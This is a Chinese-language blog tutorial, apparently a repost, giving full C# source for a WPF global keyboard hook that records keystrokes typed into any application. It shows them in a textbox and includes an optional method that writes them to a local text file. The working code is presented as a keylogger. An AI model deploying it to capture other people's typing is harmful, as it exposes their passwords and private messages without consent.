zoukankan      html  css  js  c++  java
  • wpf键盘记录器(键盘钩子)

    很简单的一个wpf键盘记录器

    这个程序我一样用了全局勾子,之前用的都是winform上运行了,前一段时间

    在国外的论坛上逛看到了一个wpf能用的就做了一个小程序记录一下,为了方便大家直关的看我在页面上放了一个textbox,

    用的时候不会这样一般都是保存到一个文本里呵呵不能做坏事

    有三个主要的类

    /// <summary>
      /// Raw keyevent handler.
      /// </summary>
      /// <param name="sender">sender</param>
      /// <param name="args">raw keyevent arguments</param>
      public delegate void RawKeyEventHandler(object sender, RawKeyEventArgs args);
     
      #region WINAPI Helper class
     
      /// <summary>
      /// Winapi Key interception helper class.
      /// </summary>
      internal static class InterceptKeys
      {
          public delegate IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam);
          public static int WH_KEYBOARD_LL = 13;
     
          /// <summary>
          /// Key event
          /// </summary>
          public enum KeyEvent : int
          {
              /// <summary>
              /// Key down
              /// </summary>
              WM_KEYDOWN = 256,
     
              /// <summary>
              /// Key up
              /// </summary>
              WM_KEYUP = 257,
     
              /// <summary>
              /// System key up
              /// </summary>
              WM_SYSKEYUP = 261,
     
              /// <summary>
              /// System key down
              /// </summary>
              WM_SYSKEYDOWN = 260
          }
     
          public static IntPtr SetHook(LowLevelKeyboardProc proc)
          {
              using (Process curProcess = Process.GetCurrentProcess())
              using (ProcessModule curModule = curProcess.MainModule)
              {
                  return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
              }
          }
     
          [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
          public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
     
          [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
          [return: MarshalAs(UnmanagedType.Bool)]
          public static extern bool UnhookWindowsHookEx(IntPtr hhk);
     
          [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
          public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, UIntPtr wParam, IntPtr lParam);
     
          [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
          public static extern IntPtr GetModuleHandle(string lpModuleName);
     
          #region Convert VKCode to string
     
          // Note: Sometimes single VKCode represents multiple chars, thus string.
          // E.g. typing "^1" (notice that when pressing 1 the both characters appear,
          // because of this behavior, "^" is called dead key)
     
          [DllImport("user32.dll")]
          private static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);
     
          [DllImport("user32.dll")]
          private static extern bool GetKeyboardState(byte[] lpKeyState);
     
          [DllImport("user32.dll")]
          private static extern uint MapVirtualKeyEx(uint uCode, uint uMapType, IntPtr dwhkl);
     
          [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
          private static extern IntPtr GetKeyboardLayout(uint dwLayout);
     
          [DllImport("User32.dll")]
          private static extern IntPtr GetForegroundWindow();
     
          [DllImport("User32.dll")]
          private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
     
          [DllImport("user32.dll")]
          private static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach);
     
          [DllImport("kernel32.dll")]
          private static extern uint GetCurrentThreadId();
     
          private static uint lastVKCode = 0;
          private static uint lastScanCode = 0;
          private static byte[] lastKeyState = new byte[255];
          private static bool lastIsDead = false;
     
          /// <summary>
          /// Convert VKCode to Unicode.
          /// <remarks>isKeyDown is required for because of keyboard state inconsistencies!</remarks>
          /// </summary>
          /// <param name="VKCode">VKCode</param>
          /// <param name="isKeyDown">Is the key down event?</param>
          /// <returns>String representing single unicode character.</returns>
          public static string VKCodeToString(uint VKCode, bool isKeyDown)
          {
              // ToUnicodeEx needs StringBuilder, it populates that during execution.
              System.Text.StringBuilder sbString = new System.Text.StringBuilder(5);
     
              byte[] bKeyState = new byte[255];
              bool bKeyStateStatus;
              bool isDead = false;
     
              // Gets the current windows window handle, threadID, processID
              IntPtr currentHWnd = GetForegroundWindow();
              uint currentProcessID;
              uint currentWindowThreadID = GetWindowThreadProcessId(currentHWnd, out currentProcessID);
     
              // This programs Thread ID
              uint thisProgramThreadId = GetCurrentThreadId();
     
              // Attach to active thread so we can get that keyboard state
              if (AttachThreadInput(thisProgramThreadId, currentWindowThreadID, true))
              {
                  // Current state of the modifiers in keyboard
                  bKeyStateStatus = GetKeyboardState(bKeyState);
     
                  // Detach
                  AttachThreadInput(thisProgramThreadId, currentWindowThreadID, false);
              }
              else
              {
                  // Could not attach, perhaps it is this process?
                  bKeyStateStatus = GetKeyboardState(bKeyState);
              }
     
              // On failure we return empty string.
              if (!bKeyStateStatus)
                  return "";
     
              // Gets the layout of keyboard
              IntPtr HKL = GetKeyboardLayout(currentWindowThreadID);
     
              // Maps the virtual keycode
              uint lScanCode = MapVirtualKeyEx(VKCode, 0, HKL);
     
              // Keyboard state goes inconsistent if this is not in place. In other words, we need to call above commands in UP events also.
              if (!isKeyDown)
                  return "";
     
              // Converts the VKCode to unicode
              int relevantKeyCountInBuffer = ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, sbString.Capacity, (uint)0, HKL);
     
              string ret = "";
     
              switch (relevantKeyCountInBuffer)
              {
                  // Dead keys (^,`...)
                  case -1:
                      isDead = true;
     
                      // We must clear the buffer because ToUnicodeEx messed it up, see below.
                      ClearKeyboardBuffer(VKCode, lScanCode, HKL);
                      break;
     
                  case 0:
                      break;
     
                  // Single character in buffer
                  case 1:
                      ret = sbString[0].ToString();
                      break;
     
                  // Two or more (only two of them is relevant)
                  case 2:
                  default:
                      ret = sbString.ToString().Substring(0, 2);
                      break;
              }
     
              // We inject the last dead key back, since ToUnicodeEx removed it.
              // More about this peculiar behavior see e.g:
              //   http://www.experts-exchange.com/Programming/System/Windows__Programming/Q_23453780.html
              //   http://blogs.msdn.com/michkap/archive/2005/01/19/355870.aspx
              //   http://blogs.msdn.com/michkap/archive/2007/10/27/5717859.aspx
              if (lastVKCode != 0 && lastIsDead)
              {
                  System.Text.StringBuilder sbTemp = new System.Text.StringBuilder(5);
                  ToUnicodeEx(lastVKCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, (uint)0, HKL);
                  lastVKCode = 0;
     
                  return ret;
              }
     
              // Save these
              lastScanCode = lScanCode;
              lastVKCode = VKCode;
              lastIsDead = isDead;
              lastKeyState = (byte[])bKeyState.Clone();
     
              return ret;
          }
     
          private static void ClearKeyboardBuffer(uint vk, uint sc, IntPtr hkl)
          {
              System.Text.StringBuilder sb = new System.Text.StringBuilder(10);
     
              int rc;
              do
              {
                  byte[] lpKeyStateNull = new Byte[255];
                  rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl);
              } while (rc < 0);
          }
     
          #endregion Convert VKCode to string
      }
     
      #endregion WINAPI Helper class
    public class KeyboardListener : IDisposable
        {
            /// <summary>
            /// Creates global keyboard listener.
            /// </summary>
            public KeyboardListener()
            {
                // Dispatcher thread handling the KeyDown/KeyUp events.
                this.dispatcher = Dispatcher.CurrentDispatcher;
     
                // We have to store the LowLevelKeyboardProc, so that it is not garbage collected runtime
                hookedLowLevelKeyboardProc = (InterceptKeys.LowLevelKeyboardProc)LowLevelKeyboardProc;
     
                // Set the hook
                hookId = InterceptKeys.SetHook(hookedLowLevelKeyboardProc);
     
                // Assign the asynchronous callback event
                hookedKeyboardCallbackAsync = new KeyboardCallbackAsync(KeyboardListener_KeyboardCallbackAsync);
            }
     
            private Dispatcher dispatcher;
     
            /// <summary>
            /// Destroys global keyboard listener.
            /// </summary>
            ~KeyboardListener()
            {
                Dispose();
            }
     
            /// <summary>
            /// Fired when any of the keys is pressed down.
            /// </summary>
            public event RawKeyEventHandler KeyDown;
     
            /// <summary>
            /// Fired when any of the keys is released.
            /// </summary>
            public event RawKeyEventHandler KeyUp;
     
            #region Inner workings
     
            /// <summary>
            /// Hook ID
            /// </summary>
            private IntPtr hookId = IntPtr.Zero;
     
            /// <summary>
            /// Asynchronous callback hook.
            /// </summary>
            /// <param name="character">Character</param>
            /// <param name="keyEvent">Keyboard event</param>
            /// <param name="vkCode">VKCode</param>
            private delegate void KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character);
     
            /// <summary>
            /// Actual callback hook.
            ///
            /// <remarks>Calls asynchronously the asyncCallback.</remarks>
            /// </summary>
            /// <param name="nCode"></param>
            /// <param name="wParam"></param>
            /// <param name="lParam"></param>
            /// <returns></returns>
            [MethodImpl(MethodImplOptions.NoInlining)]
            private IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam)
            {
                string chars = "";
     
                if (nCode >= 0)
                    if (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||
                        wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYUP ||
                        wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN ||
                        wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYUP)
                    {
                        // Captures the character(s) pressed only on WM_KEYDOWN
                        chars = InterceptKeys.VKCodeToString((uint)Marshal.ReadInt32(lParam),
                            (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||
                            wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN));
     
                        hookedKeyboardCallbackAsync.BeginInvoke((InterceptKeys.KeyEvent)wParam.ToUInt32(), Marshal.ReadInt32(lParam), chars, null, null);
                    }
     
                return InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam);
            }
     
            /// <summary>
            /// Event to be invoked asynchronously (BeginInvoke) each time key is pressed.
            /// </summary>
            private KeyboardCallbackAsync hookedKeyboardCallbackAsync;
     
            /// <summary>
            /// Contains the hooked callback in runtime.
            /// </summary>
            private InterceptKeys.LowLevelKeyboardProc hookedLowLevelKeyboardProc;
     
            /// <summary>
            /// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events.
            /// </summary>
            /// <param name="keyEvent">Keyboard event</param>
            /// <param name="vkCode">VKCode</param>
            /// <param name="character">Character as string.</param>
            private void KeyboardListener_KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character)
            {
                switch (keyEvent)
                {
                    // KeyDown events
                    case InterceptKeys.KeyEvent.WM_KEYDOWN:
                        if (KeyDown != null)
                            dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, false, character));
                        break;
                    case InterceptKeys.KeyEvent.WM_SYSKEYDOWN:
                        if (KeyDown != null)
                            dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, true, character));
                        break;
     
                    // KeyUp events
                    case InterceptKeys.KeyEvent.WM_KEYUP:
                        if (KeyUp != null)
                            dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, false, character));
                        break;
                    case InterceptKeys.KeyEvent.WM_SYSKEYUP:
                        if (KeyUp != null)
                            dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, true, character));
                        break;
     
                    default:
                        break;
                }
            }
     
            #endregion Inner workings
     
            #region IDisposable Members
     
            /// <summary>
            /// Disposes the hook.
            /// <remarks>This call is required as it calls the UnhookWindowsHookEx.</remarks>
            /// </summary>
            public void Dispose()
            {
                InterceptKeys.UnhookWindowsHookEx(hookId);
            }
     
            #endregion IDisposable Members
        }
    /// <summary>
       /// Raw KeyEvent arguments.
       /// </summary>
       public class RawKeyEventArgs : EventArgs
       {
           /// <summary>
           /// VKCode of the key.
           /// </summary>
           public int VKCode;
     
           /// <summary>
           /// WPF Key of the key.
           /// </summary>
           public Key Key;
     
           /// <summary>
           /// Is the hitted key system key.
           /// </summary>
           public bool IsSysKey;
     
           /// <summary>
           /// Convert to string.
           /// </summary>
           /// <returns>Returns string representation of this key, if not possible empty string is returned.</returns>
           public override string ToString()
           {
               return Character;
           }
     
           /// <summary>
           /// Unicode character of key pressed.
           /// </summary>
           public string Character;
     
           /// <summary>
           /// Create raw keyevent arguments.
           /// </summary>
           /// <param name="VKCode"></param>
           /// <param name="isSysKey"></param>
           /// <param name="Character">Character</param>
           public RawKeyEventArgs(int VKCode, bool isSysKey, string Character)
           {
               this.VKCode = VKCode;
               this.IsSysKey = isSysKey;
               this.Character = Character;
               this.Key = System.Windows.Input.KeyInterop.KeyFromVirtualKey(VKCode);
           }
       }

    codebehind

    KeyboardListener _KeyListener = new KeyboardListener();
         bool _isRuning = false;
         public MainWindow()
         {
             InitializeComponent();
             this.Loaded += Window_Loaded;
         }
     
         public void BeginListen(object sender, RoutedEventArgs e)
         {
             _isRuning = true;
         }
         public void StopListen(object sender, RoutedEventArgs e)
         {
             _isRuning = false;
         }
     
         private void Window_Loaded(object sender, RoutedEventArgs e)
         {
             _KeyListener.KeyDown += new RawKeyEventHandler(KListener_KeyDown);
         }
         StringBuilder _sb = new StringBuilder();
         private void KListener_KeyDown(object sender, RawKeyEventArgs args)
         {
             if (!_isRuning) return;
             tb_keyText.Text += args.ToString();
             //if (args.Key == Key.Enter)
             //{
             //    Write(_sb.ToString());
             //    _sb.Clear();
             //}
             //else
             //{
             //    _sb.Append(args.ToString());
             //}
             //Console.WriteLine(args.ToString());
         }
     
         private void Write(string keyEvents)
         {
             try
             {
                 StreamWriter sw = new StreamWriter("D:/keyReport.txt", true);
                 sw.WriteLine(keyEvents);
                 sw.Close();
     
             }
             catch (Exception Exception)
             {
             }
         }
         private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e)
         {
             _KeyListener.Dispose();
         }

    出处:https://www.cnblogs.com/li-peng/p/3328454.html

  • 相关阅读:
    关押罪犯
    食物链
    归并排序(分治)
    并查集+路径压缩
    3的幂的和
    斐波那契数列的第N项
    0和5
    扔盘子
    线段相交
    回文字符串
  • 原文地址:https://www.cnblogs.com/mq0036/p/12422705.html
Copyright © 2011-2022 走看看